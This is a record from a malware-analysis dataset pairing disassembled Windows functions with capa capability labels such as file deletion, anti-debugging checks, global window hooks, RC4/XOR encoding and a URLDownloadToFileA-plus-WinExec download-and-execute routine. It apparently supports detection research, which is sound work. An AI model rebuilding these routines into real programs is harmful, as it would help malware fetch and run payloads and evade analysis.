joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405464
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x405562
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x405535
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040559c
cmp al, 4
jbe 0x4054df
push 0x104
lea eax, [ebp - 0x109]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00403920
mov edx, dword [ebp - 0x110]
lea eax, [ebp - 4]
mov ecx, 0x405578
call fcn.00403984
jmp 0x405519
push 0x104
lea eax, [ebp - 0x109]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00403920
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 4]
mov ecx, 0x405594
call fcn.00403984
mov eax, dword [ebp - 4]
call fcn.00403b30
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40553c
ret

Function at 0x40559c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push ebx
xor eax, eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x9c], eax
xor eax, eax
push ebp
push 0x40570b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x94]
mov edx, 0x94
call fcn.00404290
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.kernel32.dll_GetVersionExA
xor ebx, ebx
cmp dword [ebp - 0x84], 2
jne 0x40563d
mov eax, dword [ebp - 0x90]
sub eax, 3
je 0x405612
dec eax
je 0x405616
dec eax
je 0x40561a
jmp 0x40561c
mov bl, 5
jmp 0x40561c
mov bl, 6
jmp 0x40561c
mov bl, 7
cmp dword [ebp - 0x90], 5
jne 0x4056ed
cmp dword [ebp - 0x8c], 1
jne 0x4056ed
mov bl, 9
jmp 0x4056ed
cmp dword [ebp - 0x90], 4
jne 0x40568b
cmp dword [ebp - 0x8c], 0
jne 0x40568b
mov bl, 1
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x80]
mov ecx, 0x80
call fcn.00403920
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0x98]
call fcn.004044b4
mov eax, dword [ebp - 0x98]
mov edx, 0x405724
call fcn.00403a7c
jne 0x4056ed
mov bl, 2
jmp 0x4056ed
cmp dword [ebp - 0x90], 4
jne 0x4056d9
cmp dword [ebp - 0x8c], 0xa
jne 0x4056d9
mov bl, 3
lea eax, [ebp - 0xa4]
lea edx, [ebp - 0x80]
mov ecx, 0x80
call fcn.00403920
mov eax, dword [ebp - 0xa4]
lea edx, [ebp - 0xa0]
call fcn.004044b4
mov eax, dword [ebp - 0xa0]
mov edx, 0x405730
call fcn.00403a7c
jne 0x4056ed
mov bl, 4
jmp 0x4056ed
cmp dword [ebp - 0x90], 4
jne 0x4056ed
cmp dword [ebp - 0x8c], 0x5a
jne 0x4056ed
mov bl, 8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405712
lea eax, [ebp - 0xa4]
mov edx, 4
call fcn.004037d8
ret
Function at 0x4064ac
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push 0x40651c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [0x40844c]
mov ecx, dword [ecx]
lea eax, [ebp - 4]
mov edx, 0x406530
call fcn.00403984
mov eax, dword [ebp - 4]
push eax
call fcn.00404f28
push 0
push 0
push 0x406550
mov eax, dword [0x40844c]
mov eax, dword [eax]
call fcn.00403b30
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 0
push 0x406550
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406523
lea eax, [ebp - 4]
call fcn.004037b4
ret

Function at 0x406b34
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0x178], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x406c58
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x104
push esi
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebx + 4]
call fcn.00403b30
push eax
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x10d]
push eax
call fcn.00404f20
lea eax, [ebp - 0x178]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.00403920
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 8]
call fcn.004043e0
lea eax, [ebp - 0x180]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.00403920
mov eax, dword [ebp - 0x180]
lea edx, [ebp - 0x17c]
call fcn.004043e0
mov edx, dword [ebp - 0x17c]
lea eax, [ebp - 4]
mov ecx, 0x406c70
call fcn.00403984
mov eax, dword [ebp - 4]
call fcn.00403b30
push eax
push 0x64
lea eax, [ebp - 0x172]
push eax
push 0x406c7c
push 0x406c80
push 0x406c8c
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebx + 8]
lea edx, [ebp - 0x172]
mov ecx, 0x65
call fcn.00403920
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c5f
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.004037d8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037d8
ret
Function at 0x406ec4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
test dl, dl
je 0x406eda
add esp, 0xfffffff0
call fcn.00402f34
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x406ffd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [edi + 4]
mov edx, 0x40702c
call fcn.00403808
push 5
mov edx, 0x408314
mov ecx, 0x31
mov eax, 0x40702c
call fcn.00404bb0
mov dword [edi + 0x18], eax
push 5
push 0x16c200
mov edx, 0x408348
mov ecx, 0x31
mov eax, 0x40702c
call fcn.00404cdc
mov dword [edi + 0x1c], eax
push 5
mov edx, 0x40837c
mov ecx, 0x31
mov eax, 0x40702c
call fcn.00404bb0
mov esi, eax
mov dword [edi + 0x20], esi
mov eax, esi
add eax, 0x3e
cdq
push edx
push eax
call fcn.004051d0
mov dword [0x4097f4], eax
push 5
mov edx, 0x4083b0
mov ecx, 0x31
mov eax, 0x40702c
call fcn.00404bb0
mov dword [edi + 0x28], eax
push 5
push 0x16c200
mov edx, 0x4083e4
mov ecx, 0x31
mov eax, 0x40702c
call fcn.00404cdc
mov dword [edi + 0x24], eax
lea ecx, [ebp - 8]
mov eax, dword [edi + 0x1c]
mov edx, 8
call fcn.00404590
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x407040
call fcn.00403984
mov eax, dword [ebp - 4]
call fcn.00403b30
push eax
call fcn.00404f20
push 0x4097dc
push 0
push 0
push 0x405f58
push 0
push 0
call sub.kernel32.dll_CreateThread
xor edx, edx
mov eax, edi
call fcn.00402e14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407004
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037d8
ret

Function at 0x407198
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0x178], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x4072b0
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x104
push esi
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebx + 4]
call fcn.00403b30
push eax
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x178]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.00403920
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 8]
call fcn.004043e0
lea eax, [ebp - 0x180]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.00403920
mov eax, dword [ebp - 0x180]
lea edx, [ebp - 0x17c]
call fcn.004043e0
mov edx, dword [ebp - 0x17c]
lea eax, [ebp - 4]
mov ecx, 0x4072c8
call fcn.00403984
mov eax, dword [ebp - 4]
call fcn.00403b30
push eax
push 0x64
lea eax, [ebp - 0x172]
push eax
push 0x4072d4
push 0x4072d8
push 0x4072e4
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebx + 8]
lea edx, [ebp - 0x172]
mov ecx, 0x65
call fcn.00403920
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072b7
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.004037d8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037d8
ret

Function at 0x407654
Capabilities:
Create thread

Disassembly:
push ecx
dec eax
jne 0x40766d
push esp
push 0
push 0
push 0x4074b8
push 0
push 0
call sub.kernel32.dll_CreateThread
pop edx
ret
pop edx
ret
Function at 0x4076a4
Capabilities:
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor ebx, ebx
mov eax, dword [0x409808]
xor edx, edx
mov dword [eax], edx
push 0
mov eax, dword [ebp + 8]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov edi, eax
push edi
mov eax, dword [0x409704]
push eax
mov eax, 0x407670
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov esi, eax
mov eax, dword [0x409808]
mov dword [eax], esi
test esi, esi
jbe 0x4076f1
push 0
push 0
push 0
push edi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x402a20
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x43fc68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov eax, dword [0x453820]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov ebx, dword [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x20], 0
mov edx, dword [ebx]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
xor cl, cl
cmp esi, 6
mov byte [esp + 0x28], cl
jl 0x402acf
cmp byte [edx], 0x24
jne 0x402acf
cmp byte [edx + esi - 5], 0x2a
jne 0x402acf
cmp byte [edx + esi - 2], 0xd
jne 0x402acf
cmp byte [edx + esi - 1], 0xa
jne 0x402acf
mov eax, 1
lea edi, [esi - 5]
cmp edi, eax
jle 0x402a9d
xor cl, byte [edx + eax]
inc eax
cmp eax, edi
jl 0x402a91
mov byte [esp + 0x28], cl
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.00406520
mov eax, dword [esp + 0x18]
add esp, 8
lea ecx, [esi - 4]
push eax
push ecx
mov ecx, ebx
call fcn.00427ea7
mov edx, dword [esp + 0x11]
add esi, 0xfffffffd
push edx
push esi
mov ecx, ebx
call fcn.00427ea7
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 0xffffffff
call fcn.00427973
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret

Function at 0x402b00
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push 0xffffffffffffffff
push 0x43fc88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x453820]
push ebx
push esi
push edi
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x24], 0
mov edx, dword [ebx]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
xor cl, cl
cmp esi, 6
mov byte [esp + 0x2c], cl
mov byte [esp + 0xc], cl
jl 0x402bce
cmp byte [edx], 0x24
jne 0x402bce
cmp byte [edx + esi - 5], 0x2a
jne 0x402bce
cmp byte [edx + esi - 2], 0xd
jne 0x402bce
cmp byte [edx + esi - 1], 0xa
jne 0x402bce
mov eax, 1
lea edi, [esi - 5]
cmp edi, eax
jle 0x402b81
xor cl, byte [edx + eax]
inc eax
cmp eax, edi
jl 0x402b75
mov byte [esp + 0x2c], cl
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00406520
add esp, 8
add esi, 0xfffffffc
lea eax, [esp + 0x2c]
mov ecx, ebx
push 2
push esi
push eax
call fcn.00421427
mov eax, dword [eax]
push 2
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.004137f0
add esp, 0xc
lea ecx, [esp + 0x2c]
test eax, eax
sete bl
call fcn.00427973
test bl, bl
je 0x402bce
mov byte [esp + 0xc], 1
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
and esi, 0xff
mov dword [esp + 0x24], 0xffffffff
call fcn.00427973
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret

Function at 0x406670
Capabilities:
Terminate thread

Disassembly:
jmp 0x406750
mov eax, dword [0x4559bc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
call esi
mov ecx, dword [0x4559b8]
push 0
push ecx
call esi
mov edx, dword [0x4559b4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x455a10], 0
pop esi
ret
Function at 0x4066c0
Capabilities:
Create thread

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0
push 0
push 0
mov dword [0x455a10], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 0x406720
push 0
push 0
mov dword [0x4559b4], eax
call esi
lea edx, [esp + 4]
mov dword [0x4559bc], eax
push edx
push 0
push 0
push 0x406740
push 0
push 0
call esi
mov dword [0x4559b8], eax
pop esi
pop ecx
ret

Function at 0x406790
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
push 0
push esi
push 0x4067e0
push 0
push 0
call edi
lea ecx, [esp + 8]
mov dword [esi*4 + 0x4559e8], eax
push ecx
push 0
push esi
push 0x406800
push 0
push 0
call edi
mov dword [esi*4 + 0x4559c0], eax
pop edi
pop esi
pop ecx
ret

Function at 0x406810
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi*4 + 0x4559c0]
push 0
push eax
call edi
mov ecx, dword [esi*4 + 0x4559e8]
push 0
push ecx
call edi
pop edi
pop esi
ret

Function at 0x4074f0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x440545
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd0
mov eax, dword [0x453820]
push esi
push edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0xe0], 1
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jbe 0x407578
mov edi, 0x453448
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
lea ecx, [esp + 8]
push eax
call fcn.00427afc
mov esi, dword [esp + 0xe8]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004276e8
mov dword [esp + 0xc], 1
lea ecx, [esp + 8]
mov byte [esp + 0xe0], 0
call fcn.00427973
mov ecx, dword [esp + 0xd8]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0xdc
ret
Function at 0x4081c0
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x44076f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
push edi
xor esi, esi
push 0x455980
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], esi
call fcn.004279e1
mov edi, dword [esp + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, 1
mov dword [esp + 0x28], ebx
mov dword [esp + 0x10], ebx
test esi, esi
jne 0x408248
lea eax, [esp + 0x10]
push esi
push eax
lea ecx, [esp + 0x20]
push ebx
push ecx
push edi
call ebp
cmp dword [esp + 0x10], ebx
jne 0x40823e
mov eax, dword [esp + 0x18]
cmp al, 0xd
je 0x40823a
cmp al, 0xa
je 0x40823e
push eax
lea ecx, [esp + 0x18]
call fcn.00427d76
mov eax, dword [esp + 0x18]
cmp al, 0xa
jne 0x408240
mov esi, ebx
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x408207
mov esi, dword [esp + 0x30]
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.004276e8
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0
call fcn.00427973
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 8
Function at 0x40a210
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x440b3f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x453820]
push esi
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], 1
mov cx, word [eax]
mov dx, word [eax + 2]
push ecx
xor ecx, ecx
mov cx, word [eax + 6]
push edx
push ecx
lea edx, [esp + 0x10]
push str._02d._02d._04d
push edx
call fcn.00421937
mov esi, dword [esp + 0x30]
add esp, 0x14
lea eax, [esp + 4]
mov ecx, esi
push eax
call fcn.004276e8
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.00427973
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x40a2b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov ax, word [0x4532b4]
push esi
mov esi, ecx
mov word [esp + 4], ax
mov cl, byte [0x4532b6]
mov al, byte [esi + 0x58]
mov byte [esp + 6], cl
test al, al
je 0x40a304
mov eax, dword [esp + 0x10]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0xc]
mov ecx, dword [eax - 8]
push 0
push edx
mov edx, dword [esi + 0x54]
push ecx
push eax
push edx
call edi
mov edx, dword [esi + 0x54]
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esp + 0x10]
push 2
push ecx
push edx
call edi
pop edi
lea ecx, [esp + 0x10]
call fcn.00427973
pop esi
add esp, 8
ret 4

Function at 0x40b3b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x440d30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov eax, dword [0x453820]
push ebp
push esi
push edi
mov edi, dword [ecx + 0x3c]
mov dword [esp + 0xc], eax
lea esi, [ecx + 0x78]
push 0xffffffffffffffff
push 0
mov ecx, esi
mov dword [esp + 0x28], 0
call fcn.00422e6d
lea eax, [edi + 0xac]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 0x628]
xor ebp, ebp
test eax, eax
jle 0x40b463
push ebp
lea ecx, [edi + 0x61c]
call fcn.004233f0
test eax, eax
je 0x40b458
mov eax, dword [eax + 8]
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.004027b0
add esp, 8
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 1
call fcn.00427aac
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.00427973
mov eax, dword [esi + 8]
lea edx, [esp + 0xc]
push edx
push eax
mov ecx, esi
call fcn.00422fe2
mov eax, dword [edi + 0x628]
inc ebp
cmp ebp, eax
jl 0x40b40a
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 0xffffffff
call fcn.00427973
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x418fd5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4553c0
cmp edx, dword [eax]
je 0x418ff7
add eax, 8
inc ecx
cmp eax, 0x455450
jl 0x418fe8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4553c0]
jne 0x419125
mov eax, dword [0x457c4c]
cmp eax, 1
je 0x4190ff
test eax, eax
jne 0x419028
cmp dword [0x454838], 1
je 0x4190ff
cmp edx, 0xfc
je 0x419125
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41905f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041aed0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00414a80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4190a2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00414a80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x449290
push edi
call fcn.0041c600
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041aed0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041aee0
lea eax, [ebp - 0xa0]
push 0x449270
push eax
call fcn.0041aee0
push dword [esi + 0x4553c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041aee0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041c740
add esp, 0x2c
pop edi
jmp 0x419125
lea eax, [ebp + 8]
lea esi, [esi + 0x4553c4]
push 0
push eax
push dword [esi]
call fcn.00414a80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x420d00
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00414cd0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x420dcb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x420dcb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x420d7e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x420d89
or bh, 8
and edi, 0x8000000
je 0x420da4
mov eax, dword [0x4593fc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x420dcb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4211a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4211cb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4211ef
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42120a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x424a86
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x424abe
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00427e1a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00427df2
jmp 0x424aca
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4